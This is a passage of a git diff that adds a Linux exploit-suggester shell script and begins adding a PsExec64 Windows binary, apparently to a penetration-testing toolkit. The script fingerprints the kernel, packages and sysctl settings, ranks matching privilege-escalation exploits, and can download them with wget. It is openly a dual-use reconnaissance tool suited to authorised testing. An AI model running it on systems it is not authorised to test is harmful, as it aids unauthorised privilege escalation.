" -f | --full - show full info about matched exploit" + echo " -g | --short - show shorten info about matched exploit" + echo " --kernelspace-only - show only kernel vulnerabilities" + echo " --userspace-only - show only userspace vulnerabilities" + echo " -d | --show-dos - show also DoSes in results" +} + +exitWithErrMsg() { + echo "$1" 1>&2 + exit 1 +} + +# extracts all information from output of 'uname -a' command +parseUname() { + local uname=$1 + + KERNEL=$(echo "$uname" | awk '{print $3}' | cut -d '-' -f 1) + KERNEL_ALL=$(echo "$uname" | awk '{print $3}') + ARCH=$(echo "$uname" | awk '{print $(NF-1)}') + + OS="" + echo "$uname" | grep -q -i 'deb' && OS="debian" + echo "$uname" | grep -q -i 'ubuntu' && OS="ubuntu" + echo "$uname" | grep -q -i '\-ARCH' && OS="arch" + echo "$uname" | grep -q -i '\-deepin' && OS="deepin" + echo "$uname" | grep -q -i '\-MANJARO' && OS="manjaro" + echo "$uname" | grep -q -i '\.fc' && OS="fedora" + echo "$uname" | grep -q -i '\.el' && OS="RHEL" + echo "$uname" | grep -q -i '\.mga' && OS="mageia" + + # 'uname -a' output doesn't contain distribution number (at least not in case of all distros) +} + +getPkgList() { + local distro=$1 + local pkglist_file=$2 + + # take package listing from provided file & detect if it's 'rpm -qa' listing or 'dpkg -l' or 'pacman -Q' listing of not recognized listing + if [ "$opt_pkglist_file" = "true" -a -e "$pkglist_file" ]; then + + # ubuntu/debian package listing file + if [ $(head -1 "$pkglist_file" | grep 'Desired=Unknown/Install/Remove/Purge/Hold') ]; then + PKG_LIST=$(cat "$pkglist_file" | awk '{print $2"-"$3}' | sed 's/:amd64//g') + + OS="debian" + [ "$(grep ubuntu "$pkglist_file")" ] && OS="ubuntu" + # redhat package listing file + elif [ "$(grep -E '\.el[1-9]+[\._]' "$pkglist_file" | head -1)" ]; then + PKG_LIST=$(cat "$pkglist_file") + OS="RHEL" + # fedora package listing file + elif [ "$(grep -E '\.fc[1-9]+'i "$pkglist_file" | head -1)" ]; then + PKG_LIST=$(cat "$pkglist_file") + OS="fedora" + # mageia package listing file + elif [ "$(grep -E '\.mga[1-9]+' "$pkglist_file" | head -1)" ]; then + PKG_LIST=$(cat "$pkglist_file") + OS="mageia" + # pacman package listing file + elif [ "$(grep -E '\ [0-9]+\.' "$pkglist_file" | head -1)" ]; then + PKG_LIST=$(cat "$pkglist_file" | awk '{print $1"-"$2}') + OS="arch" + # file not recognized - skipping + else + PKG_LIST="" + fi + + elif [ "$distro" = "debian" -o "$distro" = "ubuntu" -o "$distro" = "deepin" ]; then + PKG_LIST=$(dpkg -l | awk '{print $2"-"$3}' | sed 's/:amd64//g') + elif [ "$distro" = "RHEL" -o "$distro" = "fedora" -o "$distro" = "mageia" ]; then + PKG_LIST=$(rpm -qa) + elif [ "$distro" = "arch" -o "$distro" = "manjaro" ]; then + PKG_LIST=$(pacman -Q | awk '{print $1"-"$2}') + elif [ -x /usr/bin/equery ]; then + PKG_LIST=$(/usr/bin/equery --quiet list '*' -F '$name:$version' | cut -d/ -f2- | awk '{print $1":"$2}') + else + # packages listing not available + PKG_LIST="" + fi +} + +# from: https://stackoverflow.com/questions/4023830/how-compare-two-strings-in-dot-separated-version-format-in-bash +verComparision() { + + if [[ $1 == $2 ]] + then + return 0 + fi + + local IFS=. + local i ver1=($1) ver2=($2) + + # fill empty fields in ver1 with zeros + for ((i=${#ver1[@]}; i<${#ver2[@]}; i++)) + do + ver1[i]=0 + done + + for ((i=0; i<${#ver1[@]}; i++)) + do + if [[ -z ${ver2[i]} ]] + then + # fill empty fields in ver2 with zeros + ver2[i]=0 + fi + if ((10#${ver1[i]} > 10#${ver2[i]})) + then + return 1 + fi + if ((10#${ver1[i]} < 10#${ver2[i]})) + then + return 2 + fi + done + + return 0 +} + +doVersionComparision() { + local reqVersion="$1" + local reqRelation="$2" + local currentVersion="$3" + + verComparision $currentVersion $reqVersion + case $? in + 0) currentRelation='=';; + 1) currentRelation='>';; + 2) currentRelation='<';; + esac + + if [ "$reqRelation" == "=" ]; then + [ $currentRelation == "=" ] && return 0 + elif [ "$reqRelation" == ">" ]; then + [ $currentRelation == ">" ] && return 0 + elif [ "$reqRelation" == "<" ]; then + [ $currentRelation == "<" ] && return 0 + elif [ "$reqRelation" == ">=" ]; then + [ $currentRelation == "=" ] && return 0 + [ $currentRelation == ">" ] && return 0 + elif [ "$reqRelation" == "<=" ]; then + [ $currentRelation == "=" ] && return 0 + [ $currentRelation == "<" ] && return 0 + fi +} + +compareValues() { + curVal=$1 + val=$2 + sign=$3 + + if [ "$sign" == "==" ]; then + [ "$val" == "$curVal" ] && return 0 + elif [ "$sign" == "!=" ]; then + [ "$val" != "$curVal" ] && return 0 + fi + + return 1 +} + +checkRequirement() { + #echo "Checking requirement: $1" + local IN="$1" + local pkgName="${2:4}" + + if [[ "$IN" =~ ^pkg=.*$ ]]; then + + # always true for Linux OS + [ ${pkgName} == "linux-kernel" ] && return 0 + + # verify if package is present + pkg=$(echo "$PKG_LIST" | grep -E -i "^$pkgName-[0-9]+" | head -1) + if [ -n "$pkg" ]; then + return 0 + fi + + elif [[ "$IN" =~ ^ver.*$ ]]; then + version="${IN//[^0-9.]/}" + rest="${IN#ver}" + operator=${rest%$version} + + if [ "$pkgName" == "linux-kernel" -o "$opt_checksec_mode" == "true" ]; then + + # for --cvelist-file mode skip kernel version comparision + [ "$opt_cvelist_file" = "true" ] && return 0 + + doVersionComparision $version $operator $KERNEL && return 0 + else + # extract package version and check if requiremnt is true + pkg=$(echo "$PKG_LIST" | grep -E -i "^$pkgName-[0-9]+" | head -1) + + # skip (if run with --skip-pkg-versions) version checking if package with given name is installed + [ "$opt_skip_pkg_versions" = "true" -a -n "$pkg" ] && return 0 + + # versioning: + #echo "pkg: $pkg" + pkgVersion=$(echo "$pkg" | grep -E -i -o -e '-[\.0-9\+:p]+[-\+]' | cut -d':' -f2 | sed 's/[\+-]//g' | sed 's/p[0-9]//g') + #echo "version: $pkgVersion" + #echo "operator: $operator" + #echo "required version: $version" + #echo + doVersionComparision $version $operator $pkgVersion && return 0 + fi + elif [[ "$IN" =~ ^x86_64$ ]] && [ "$ARCH" == "x86_64" -o "$ARCH" == "" ]; then + return 0 + elif [[ "$IN" =~ ^x86$ ]] && [ "$ARCH" == "i386" -o "$ARCH" == "i686" -o "$ARCH" == "" ]; then + return 0 + elif [[ "$IN" =~ ^CONFIG_.*$ ]]; then + + # skip if check is not applicable (-k or --uname or -p set) or if user said so (--skip-more-checks) + [ "$opt_skip_more_checks" = "true" ] && return 0 + + # if kernel config IS available: + if [ -n "$KCONFIG" ]; then + if $KCONFIG | grep -E -qi $IN; then + return 0; + # required option wasn't found, exploit is not applicable + else + return 1; + fi + # config is not available + else + return 0; + fi + elif [[ "$IN" =~ ^sysctl:.*$ ]]; then + + # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks) + [ "$opt_skip_more_checks" = "true" ] && return 0 + + sysctlCondition="${IN:7}" + + # extract sysctl entry, relation sign and required value + if echo $sysctlCondition | grep -qi "!="; then + sign="!=" + elif echo $sysctlCondition | grep -qi "=="; then + sign="==" + else + exitWithErrMsg "Wrong sysctl condition. There is syntax error in your features DB. Aborting." + fi + val=$(echo "$sysctlCondition" | awk -F "$sign" '{print $2}') + entry=$(echo "$sysctlCondition" | awk -F "$sign" '{print $1}') + + # get current setting of sysctl entry + curVal=$(/sbin/sysctl -a 2> /dev/null | grep "$entry" | awk -F'=' '{print $2}') + + # special case for --checksec mode: return 2 if there is no such switch in sysctl + [ -z "$curVal" -a "$opt_checksec_mode" = "true" ] && return 2 + + # for other modes: skip if there is no such switch in sysctl + [ -z "$curVal" ] && return 0 + + # compare & return result + compareValues $curVal $val $sign && return 0 + + elif [[ "$IN" =~ ^cmd:.*$ ]]; then + + # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks) + [ "$opt_skip_more_checks" = "true" ] && return 0 + + cmd="${IN:4}" + if eval "${cmd}"; then + return 0 + fi + fi + + return 1 +} + +getKernelConfig() { + + if [ -f /proc/config.gz ] ; then + KCONFIG="zcat /proc/config.gz" + elif [ -f /boot/config-`uname -r` ] ; then + KCONFIG="cat /boot/config-`uname -r`" + elif [ -f "${KBUILD_OUTPUT:-/usr/src/linux}"/.config ] ; then + KCONFIG="cat ${KBUILD_OUTPUT:-/usr/src/linux}/.config" + else + KCONFIG="" + fi +} + +checksecMode() { + + MODE=0 + + # start analysis +for FEATURE in "${FEATURES[@]}"; do + + # create array from current exploit here doc and fetch needed lines + i=0 + # ('-r' is used to not interpret backslash used for bash colors) + while read -r line + do + arr[i]="$line" + i=$((i + 1)) + done <<< "$FEATURE" + + # modes: kernel-feature (1) | hw-feature (2) | 3rdparty-feature (3) | attack-surface (4) + NAME="${arr[0]}" + PRE_NAME="${NAME:0:8}" + NAME="${NAME:9}" + if [ "${PRE_NAME}" = "section:" ]; then + # advance to next MODE + MODE=$(($MODE + 1)) + + echo + echo -e "${bldwht}${NAME}${txtrst}" + echo + continue + fi + + AVAILABLE="${arr[1]}" && AVAILABLE="${AVAILABLE:11}" + ENABLE=$(echo "$FEATURE" | grep "enabled: " | awk -F'ed: ' '{print $2}') + analysis_url=$(echo "$FEATURE" | grep "analysis-url: " | awk '{print $2}') + + # split line with availability requirements & loop thru all availability reqs one by one & check whether it is met + IFS=',' read -r -a array <<< "$AVAILABLE" + AVAILABLE_REQS_NUM=${#array[@]} + AVAILABLE_PASSED_REQ=0 + CONFIG="" + for REQ in "${array[@]}"; do + + # find CONFIG_ name (if present) for current feature (only for display purposes) + if [ -z "$CONFIG" ]; then + config=$(echo "$REQ" | grep "CONFIG_") + [ -n "$config" ] && CONFIG="($(echo $REQ | cut -d'=' -f1))" + fi + + if (checkRequirement "$REQ"); then + AVAILABLE_PASSED_REQ=$(($AVAILABLE_PASSED_REQ + 1)) + else + break + fi + done + + # split line with enablement requirements & loop thru all enablement reqs one by one & check whether it is met + ENABLE_PASSED_REQ=0 + ENABLE_REQS_NUM=0 + noSysctl=0 + if [ -n "$ENABLE" ]; then + IFS=',' read -r -a array <<< "$ENABLE" + ENABLE_REQS_NUM=${#array[@]} + for REQ in "${array[@]}"; do + cmdStdout=$(checkRequirement "$REQ") + retVal=$? + if [ $retVal -eq 0 ]; then + ENABLE_PASSED_REQ=$(($ENABLE_PASSED_REQ + 1)) + elif [ $retVal -eq 2 ]; then + # special case: sysctl entry is not present on given system: signal it as: N/A + noSysctl=1 + break + else + break + fi + done + fi + + feature=$(echo "$FEATURE" | grep "feature: " | cut -d' ' -f 2-) + + if [ -n "$cmdStdout" ]; then + if [ "$cmdStdout" -eq 0 ]; then + state="[ ${txtred}Set to $cmdStdout${txtrst} ]" + cmdStdout="" + else + state="[ ${txtgrn}Set to $cmdStdout${txtrst} ]" + cmdStdout="" + fi + else + + unknown="[ ${txtgray}Unknown${txtrst} ]" + + # for 3rd party (3) mode display "N/A" or "Enabled" + if [ $MODE -eq 3 ]; then + enabled="[ ${txtgrn}Enabled${txtrst} ]" + disabled="[ ${txtgray}N/A${txtrst} ]" + + # for attack-surface (4) mode display "Locked" or "Exposed" + elif [ $MODE -eq 4 ]; then + enabled="[ ${txtred}Exposed${txtrst} ]" + disabled="[ ${txtgrn}Locked${txtrst} ]" + + #other modes" "Disabled" / "Enabled" + else + enabled="[ ${txtgrn}Enabled${txtrst} ]" + disabled="[ ${txtred}Disabled${txtrst} ]" + fi + + if [ -z "$KCONFIG" -a "$ENABLE_REQS_NUM" = 0 ]; then + state=$unknown + elif [ $AVAILABLE_PASSED_REQ -eq $AVAILABLE_REQS_NUM -a $ENABLE_PASSED_REQ -eq $ENABLE_REQS_NUM ]; then + state=$enabled + else + state=$disabled + fi + + fi + + echo -e " $state $feature ${wht}${CONFIG}${txtrst}" + [ -n "$analysis_url" ] && echo -e " $analysis_url" + echo + +done + +} + +displayExposure() { + RANK=$1 + + if [ "$RANK" -ge 6 ]; then + echo "highly probable" + elif [ "$RANK" -ge 3 ]; then + echo "probable" + else + echo "less probable" + fi +} + +# parse command line parameters +ARGS=$(getopt --options $SHORTOPTS --longoptions $LONGOPTS -- "$@") +[ $? != 0 ] && exitWithErrMsg "Aborting." + +eval set -- "$ARGS" + +while true; do + case "$1" in + -u|--uname) + shift + UNAME_A="$1" + opt_uname_string=true + ;; + -V|--version) + version + exit 0 + ;; + -h|--help) + usage + exit 0 + ;; + -f|--full) + opt_full=true + ;; + -g|--short) + opt_summary=true + ;; + -b|--fetch-binaries) + opt_fetch_bins=true + ;; + -s|--fetch-sources) + opt_fetch_srcs=true + ;; + -k|--kernel) + shift + KERNEL="$1" + opt_kernel_version=true + ;; + -d|--show-dos) + opt_show_dos=true + ;; + -p|--pkglist-file) + shift + PKGLIST_FILE="$1" + opt_pkglist_file=true + ;; + --cvelist-file) + shift + CVELIST_FILE="$1" + opt_cvelist_file=true + ;; + --checksec) + opt_checksec_mode=true + ;; + --kernelspace-only) + opt_kernel_only=true + ;; + --userspace-only) + opt_userspace_only=true + ;; + --skip-more-checks) + opt_skip_more_checks=true + ;; + --skip-pkg-versions) + opt_skip_pkg_versions=true + ;; + *) + shift + if [ "$#" != "0" ]; then + exitWithErrMsg "Unknown option '$1'. Aborting." + fi + break + ;; + esac + shift +done + +# check Bash version (associative arrays need Bash in version 4.0+) +if ((BASH_VERSINFO[0] < 4)); then + exitWithErrMsg "Script needs Bash in version 4.0 or newer. Aborting." +fi + +# exit if both --kernel and --uname are set +[ "$opt_kernel_version" = "true" ] && [ $opt_uname_string = "true" ] && exitWithErrMsg "Switches -u|--uname and -k|--kernel are mutually exclusive. Aborting." + +# exit if both --full and --short are set +[ "$opt_full" = "true" ] && [ $opt_summary = "true" ] && exitWithErrMsg "Switches -f|--full and -g|--short are mutually exclusive. Aborting." + +# --cvelist-file mode is standalone mode and is not applicable when one of -k | -u | -p | --checksec switches are set +if [ "$opt_cvelist_file" = "true" ]; then + [ ! -e "$CVELIST_FILE" ] && exitWithErrMsg "Provided CVE list file does not exists. Aborting." + [ "$opt_kernel_version" = "true" ] && exitWithErrMsg "Switches -k|--kernel and --cvelist-file are mutually exclusive. Aborting." + [ "$opt_uname_string" = "true" ] && exitWithErrMsg "Switches -u|--uname and --cvelist-file are mutually exclusive. Aborting." + [ "$opt_pkglist_file" = "true" ] && exitWithErrMsg "Switches -p|--pkglist-file and --cvelist-file are mutually exclusive. Aborting." +fi + +# --checksec mode is standalone mode and is not applicable when one of -k | -u | -p | --cvelist-file switches are set +if [ "$opt_checksec_mode" = "true" ]; then + [ "$opt_kernel_version" = "true" ] && exitWithErrMsg "Switches -k|--kernel and --checksec are mutually exclusive. Aborting." + [ "$opt_uname_string" = "true" ] && exitWithErrMsg "Switches -u|--uname and --checksec are mutually exclusive. Aborting." + [ "$opt_pkglist_file" = "true" ] && exitWithErrMsg "Switches -p|--pkglist-file and --checksec are mutually exclusive. Aborting." +fi + +# extract kernel version and other OS info like distro name, distro version, etc. 3 possibilities here: +# case 1: --kernel set +if [ "$opt_kernel_version" == "true" ]; then + # TODO: add kernel version number validation + [ -z "$KERNEL" ] && exitWithErrMsg "Unrecognized kernel version given. Aborting." + ARCH="" + OS="" + + # do not perform additional checks on current machine + opt_skip_more_checks=true + + # do not consider current OS + getPkgList "" "$PKGLIST_FILE" + +# case 2: --uname set +elif [ "$opt_uname_string" == "true" ]; then + [ -z "$UNAME_A" ] && exitWithErrMsg "uname string empty. Aborting." + parseUname "$UNAME_A" + + # do not perform additional checks on current machine + opt_skip_more_checks=true + + # do not consider current OS + getPkgList "" "$PKGLIST_FILE" + +# case 3: --cvelist-file mode +elif [ "$opt_cvelist_file" = "true" ]; then + + # get kernel configuration in this mode + [ "$opt_skip_more_checks" = "false" ] && getKernelConfig + +# case 4: --checksec mode +elif [ "$opt_checksec_mode" = "true" ]; then + + # this switch is not applicable in this mode + opt_skip_more_checks=false + + # get kernel configuration in this mode + getKernelConfig + [ -z "$KCONFIG" ] && echo "WARNING. Kernel Config not found on the system results won't be complete." + + # launch checksec mode + checksecMode + + exit 0 + +# case 5: no --uname | --kernel | --cvelist-file | --checksec set +else + + # --pkglist-file NOT provided: take all info from current machine + # case for vanilla execution: ./linux-exploit-suggester.sh + if [ "$opt_pkglist_file" == "false" ]; then + UNAME_A=$(uname -a) + [ -z "$UNAME_A" ] && exitWithErrMsg "uname string empty. Aborting." + parseUname "$UNAME_A" + + # get kernel configuration in this mode + [ "$opt_skip_more_checks" = "false" ] && getKernelConfig + + # extract distribution version from /etc/os-release OR /etc/lsb-release + [ -n "$OS" -a "$opt_skip_more_checks" = "false" ] && DISTRO=$(grep -s -E '^DISTRIB_RELEASE=|^VERSION_ID=' /etc/*-release | cut -d'=' -f2 | head -1 | tr -d '"') + + # extract package listing from current OS + getPkgList "$OS" "" + + # --pkglist-file provided: only consider userspace exploits against provided package listing + else + KERNEL="" + #TODO: extract machine arch from package listing + ARCH="" + unset EXPLOITS + declare -A EXPLOITS + getPkgList "" "$PKGLIST_FILE" + + # additional checks are not applicable for this mode + opt_skip_more_checks=true + fi +fi + +echo +echo -e "${bldwht}Available information:${txtrst}" +echo +[ -n "$KERNEL" ] && echo -e "Kernel version: ${txtgrn}$KERNEL${txtrst}" || echo -e "Kernel version: ${txtred}N/A${txtrst}" +echo "Architecture: $([ -n "$ARCH" ] && echo -e "${txtgrn}$ARCH${txtrst}" || echo -e "${txtred}N/A${txtrst}")" +echo "Distribution: $([ -n "$OS" ] && echo -e "${txtgrn}$OS${txtrst}" || echo -e "${txtred}N/A${txtrst}")" +echo -e "Distribution version: $([ -n "$DISTRO" ] && echo -e "${txtgrn}$DISTRO${txtrst}" || echo -e "${txtred}N/A${txtrst}")" + +echo "Additional checks (CONFIG_*, sysctl entries, custom Bash commands): $([ "$opt_skip_more_checks" == "false" ] && echo -e "${txtgrn}performed${txtrst}" || echo -e "${txtred}N/A${txtrst}")" + +if [ -n "$PKGLIST_FILE" -a -n "$PKG_LIST" ]; then + pkgListFile="${txtgrn}$PKGLIST_FILE${txtrst}" +elif [ -n "$PKGLIST_FILE" ]; then + pkgListFile="${txtred}unrecognized file provided${txtrst}" +elif [ -n "$PKG_LIST" ]; then + pkgListFile="${txtgrn}from current OS${txtrst}" +fi + +echo -e "Package listing: $([ -n "$pkgListFile" ] && echo -e "$pkgListFile" || echo -e "${txtred}N/A${txtrst}")" + +# handle --kernelspacy-only & --userspace-only filter options +if [ "$opt_kernel_only" = "true" -o -z "$PKG_LIST" ]; then + unset EXPLOITS_USERSPACE + declare -A EXPLOITS_USERSPACE +fi + +if [ "$opt_userspace_only" = "true" ]; then + unset EXPLOITS + declare -A EXPLOITS +fi + +echo +echo -e "${bldwht}Searching among:${txtrst}" +echo +echo "${#EXPLOITS[@]} kernel space exploits" +echo "${#EXPLOITS_USERSPACE[@]} user space exploits" +echo + +echo -e "${bldwht}Possible Exploits:${txtrst}" +echo + +# start analysis +j=0 +for EXP in "${EXPLOITS[@]}" "${EXPLOITS_USERSPACE[@]}"; do + + # create array from current exploit here doc and fetch needed lines + i=0 + # ('-r' is used to not interpret backslash used for bash colors) + while read -r line + do + arr[i]="$line" + i=$((i + 1)) + done <<< "$EXP" + + NAME="${arr[0]}" && NAME="${NAME:6}" + REQS="${arr[1]}" && REQS="${REQS:6}" + TAGS="${arr[2]}" && TAGS="${TAGS:6}" + RANK="${arr[3]}" && RANK="${RANK:6}" + + # split line with requirements & loop thru all reqs one by one & check whether it is met + IFS=',' read -r -a array <<< "$REQS" + REQS_NUM=${#array[@]} + PASSED_REQ=0 + for REQ in "${array[@]}"; do + if (checkRequirement "$REQ" "${array[0]}"); then + PASSED_REQ=$(($PASSED_REQ + 1)) + else + break + fi + done + + # execute for exploits with all requirements met + if [ $PASSED_REQ -eq $REQS_NUM ]; then + + # additional requirement for --cvelist-file mode: check if CVE associated with the exploit is on the CVELIST_FILE + if [ "$opt_cvelist_file" = "true" ]; then + + # extract CVE(s) associated with given exploit (also translates ',' to '|' for easy handling multiple CVEs case - via extended regex) + cve=$(echo "$NAME" | grep '.*\[.*\].*' | cut -d 'm' -f2 | cut -d ']' -f1 | tr -d '[' | tr "," "|") + #echo "CVE: $cve" + + # check if it's on CVELIST_FILE list, if no move to next exploit + [ ! $(cat "$CVELIST_FILE" | grep -E "$cve") ] && continue + fi + + # process tags and highlight those that match current OS (only for deb|ubuntu|RHEL and if we know distro version - direct mode) + tags="" + if [ -n "$TAGS" -a -n "$OS" ]; then + IFS=',' read -r -a tags_array <<< "$TAGS" + TAGS_NUM=${#tags_array[@]} + + # bump RANK slightly (+1) if we're in '--uname' mode and there's a TAG for OS from uname string + [ "$(echo "${tags_array[@]}" | grep "$OS")" -a "$opt_uname_string" == "true" ] && RANK=$(($RANK + 1)) + + for TAG in "${tags_array[@]}"; do + tag_distro=$(echo "$TAG" | cut -d'=' -f1) + tag_distro_num_all=$(echo "$TAG" | cut -d'=' -f2) + # in case of tag of form: 'ubuntu=16.04{kernel:4.4.0-21} remove kernel versioning part for comparision + tag_distro_num="${tag_distro_num_all%{*}" + + # we're in '--uname' mode OR (for normal mode) if there is distro version match + if [ "$opt_uname_string" == "true" -o \( "$OS" == "$tag_distro" -a "$(echo "$DISTRO" | grep -E "$tag_distro_num")" \) ]; then + + # bump current exploit's rank by 2 for distro match (and not in '--uname' mode) + [ "$opt_uname_string" == "false" ] && RANK=$(($RANK + 2)) + + # get name (kernel or package name) and version of kernel/pkg if provided: + tag_pkg=$(echo "$tag_distro_num_all" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 1) + tag_pkg_num="" + [ $(echo "$tag_distro_num_all" | grep '{') ] && tag_pkg_num=$(echo "$tag_distro_num_all" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 2) + + #[ -n "$tag_pkg_num" ] && echo "tag_pkg_num: $tag_pkg_num; kernel: $KERNEL_ALL" + + # if pkg/kernel version is not provided: + if [ -z "$tag_pkg_num" ]; then + [ "$opt_uname_string" == "false" ] && TAG="${lightyellow}[ ${TAG} ]${txtrst}" + + # kernel version provided, check for match: + elif [ -n "$tag_pkg_num" -a "$tag_pkg" = "kernel" ]; then + if [ $(echo "$KERNEL_ALL" | grep -E "${tag_pkg_num}") ]; then + # kernel version matched - bold highlight + TAG="${yellow}[ ${TAG} ]${txtrst}" + + # bump current exploit's rank additionally by 3 for kernel version regex match + RANK=$(($RANK + 3)) + else + [ "$opt_uname_string" == "false" ] && TAG="${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{kernel:$tag_pkg_num}" + fi + + # pkg version provided, check for match (TBD): + elif [ -n "$tag_pkg_num" -a -n "$tag_pkg" ]; then + TAG="${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{$tag_pkg:$tag_pkg_num}" + fi + + fi + + # append current tag to tags list + tags="${tags}${TAG}," + done + # trim ',' added by above loop + [ -n "$tags" ] && tags="${tags%?}" + else + tags="$TAGS" + fi + + # insert the matched exploit (with calculated Rank and highlighted tags) to arrary that will be sorted + EXP=$(echo "$EXP" | sed -e '/^Name:/d' -e '/^Reqs:/d' -e '/^Tags:/d') + exploits_to_sort[j]="${RANK}Name: ${NAME}D3L1mReqs: ${REQS}D3L1mTags: ${tags}D3L1m$(echo "$EXP" | sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/D3L1m/g')" + ((j++)) + fi +done + +# sort exploits based on calculated Rank +IFS=$'\n' +SORTED_EXPLOITS=($(sort -r <<<"${exploits_to_sort[*]}")) +unset IFS + +# display sorted exploits +for EXP_TEMP in "${SORTED_EXPLOITS[@]}"; do + + RANK=$(echo "$EXP_TEMP" | awk -F'Name:' '{print $1}') + + # convert entry back to canonical form + EXP=$(echo "$EXP_TEMP" | sed 's/^[0-9]//g' | sed 's/D3L1m/\n/g') + + # create array from current exploit here doc and fetch needed lines + i=0 + # ('-r' is used to not interpret backslash used for bash colors) + while read -r line + do + arr[i]="$line" + i=$((i + 1)) + done <<< "$EXP" + + NAME="${arr[0]}" && NAME="${NAME:6}" + REQS="${arr[1]}" && REQS="${REQS:6}" + TAGS="${arr[2]}" && tags="${TAGS:6}" + + EXPLOIT_DB=$(echo "$EXP" | grep "exploit-db: " | awk '{print $2}') + analysis_url=$(echo "$EXP" | grep "analysis-url: " | awk '{print $2}') + ext_url=$(echo "$EXP" | grep "ext-url: " | awk '{print $2}') + comments=$(echo "$EXP" | grep "Comments: " | cut -d' ' -f 2-) + reqs=$(echo "$EXP" | grep "Reqs: " | cut -d' ' -f 2) + + # exploit name without CVE number and without commonly used special chars + name=$(echo "$NAME" | cut -d' ' -f 2- | tr -d ' ()/') + + bin_url=$(echo "$EXP" | grep "bin-url: " | awk '{print $2}') + src_url=$(echo "$EXP" | grep "src-url: " | awk '{print $2}') + [ -z "$src_url" ] && [ -n "$EXPLOIT_DB" ] && src_url="https://www.exploit-db.com/download/$EXPLOIT_DB" + [ -z "$src_url" ] && [ -z "$bin_url" ] && exitWithErrMsg "'src-url' / 'bin-url' / 'exploit-db' entries are all empty for '$NAME' exploit - fix that. Aborting." + + if [ -n "$analysis_url" ]; then + details="$analysis_url" + elif $(echo "$src_url" | grep -q 'www.exploit-db.com'); then + details="https://www.exploit-db.com/exploits/$EXPLOIT_DB/" + elif [[ "$src_url" =~ ^.*tgz|tar.gz|zip$ && -n "$EXPLOIT_DB" ]]; then + details="https://www.exploit-db.com/exploits/$EXPLOIT_DB/" + else + details="$src_url" + fi + + # skip DoS by default + dos=$(echo "$EXP" | grep -o -i "(dos") + [ "$opt_show_dos" == "false" ] && [ -n "$dos" ] && continue + + # handles --fetch-binaries option + if [ $opt_fetch_bins = "true" ]; then + for i in $(echo "$EXP" | grep "bin-url: " | awk '{print $2}'); do + [ -f "${name}_$(basename $i)" ] && rm -f "${name}_$(basename $i)" + wget -q -k "$i" -O "${name}_$(basename $i)" + done + fi + + # handles --fetch-sources option + if [ $opt_fetch_srcs = "true" ]; then + [ -f "${name}_$(basename $src_url)" ] && rm -f "${name}_$(basename $src_url)" + wget -q -k "$src_url" -O "${name}_$(basename $src_url)" & + fi + + # display result (short) + if [ "$opt_summary" = "true" ]; then + [ -z "$tags" ] && tags="-" + echo -e "$NAME || $tags || $src_url" + continue + fi + +# display result (standard) + echo -e "[+] $NAME" + echo -e "\n Details: $details" + echo -e " Exposure: $(displayExposure $RANK)" + [ -n "$tags" ] && echo -e " Tags: $tags" + echo -e " Download URL: $src_url" + [ -n "$ext_url" ] && echo -e " ext-url: $ext_url" + [ -n "$comments" ] && echo -e " Comments: $comments" + + # handles --full filter option + if [ "$opt_full" = "true" ]; then + [ -n "$reqs" ] && echo -e " Requirements: $reqs" + + [ -n "$EXPLOIT_DB" ] && echo -e " exploit-db: $EXPLOIT_DB" + + author=$(echo "$EXP" | grep "author: " | cut -d' ' -f 2-) + [ -n "$author" ] && echo -e " author: $author" + fi + + echo + +done diff --git a/win/PsExec64.exe b/win/PsExec64.exe new file mode 100644 index 0000000000000000000000000000000000000000..9f9ac798f2983ceff6d727cbff078ea1f3be9397 GIT binary patch literal 374944 zcmeFad3;pW`M^DsWFRcz24yhCg%JlE#U(W^!4R2&8N34%3<`n*8U-Tm2s4USG&qSe zUZ+i4tlDC=tF-#7v?^O|NeGev3IVDFH?VFuj#dPP;KF^s&p9(msQ&tU|9Jm=^Z88X z+_OCAInQ~{vz>F#R9@NO%5}M1d3+qltbpx(AjY%6?9MEpliq&nLfT9{NOm-*M4$V>D=Amo& zzTwpchiX*$X!Skh$nEO;((7l<71;mVNUFjv*X;Xyxt`rHe`>bQKG!f;znuOq*Do00 zvR*3t+&}SEsFDG4bvno8^0@fNU-sKoo3Ds@!xg=tYxUx6qfFaO!|pF>tHDZ&zrW-0gC1JgB_&#(CO_zS>3XX$FLy*6WL<8wL{ zp4YU>R;6C!S@U#7HAcqj8bs;a->MflYyN`yvnWzDfi|xDsI&jO>dm?7Rw^nQK`WO` zU+n0C)9)B^|NlQIU?yY!qN(QMkE@}jX?gnZ$Z?sa8_Z;#zlxlQ^_giMUi?uZGi=n| zM+0YbY=3{y@~)*b?%WP+gT2+kVAY9rAZfnnD893hKkE-;=Z{4nFD(Wv@8=;h1!PQ_ywa+Oqtu40y2FccluGV9C zNKw=*ecAp#E7P=|_t(d#Eh@aM~<6izi0ANx$}#4G=i<0^H`)OnLg zgi;r~&H6WD!>wKPVhnYeiB`vS8Utmc-0?%E6@4w=bk>J*8_oJn@ppqz_KoXZuBg=} zjYdbUZ6T|LhS3qtmAUJUp#hh%(ru<9?%rpEwYHf<9JTLSnGv$3-eZh(LGU1Dq_i@Q+X`*GV{XNHV>Kl#v zmjtPl_dZ?3cx&w=M|6=WA9@##)ua&Q%Y+s(x-uDBOOv$74C<=K6-8#qz{;cwi@|$+ zUJr_tWGS-DFYE_V&h0^z!L(Oxg(#;9Fo>dS#(P7T5?6c(eOlctJy}-N;tfKJ=5O)) z1w9J0gv)#fE*Cbp+@|$eqSI~ss8-F)-Ttz5vS`X%?wKPT#W1hTH-?6U(ES+7zjJe3 z_BGcCE5**%SqCI*qRu+OX)zPc`Q;bg-In250IJ#ZUDe#3lbu;IWiZqc22>B~TTl#K z#thHXGraHRt{E1ZmA(-b;)Bj3^qrYa2pPzi>R??am^*nf^MK|Etx?1$5H6o*b1z_ zV_}RyUcA2|>&TGbG(t!KfH>X{r~#UZ4JCq8&p)s$Uh@Sj!0{elrgVYh?IcmUDbbm0 zEN!xyXjR{B)lA*wZ)aMHp#}@@iY=LG3FnvYh+2nD(47`ajhScPikvOo#FSJm zgl^H~-Ga+~(hXIr%w%{8WecN#alDtQK^S!xsmWXBHwAd|d4HAqe$hXT?`ZOOejnd! 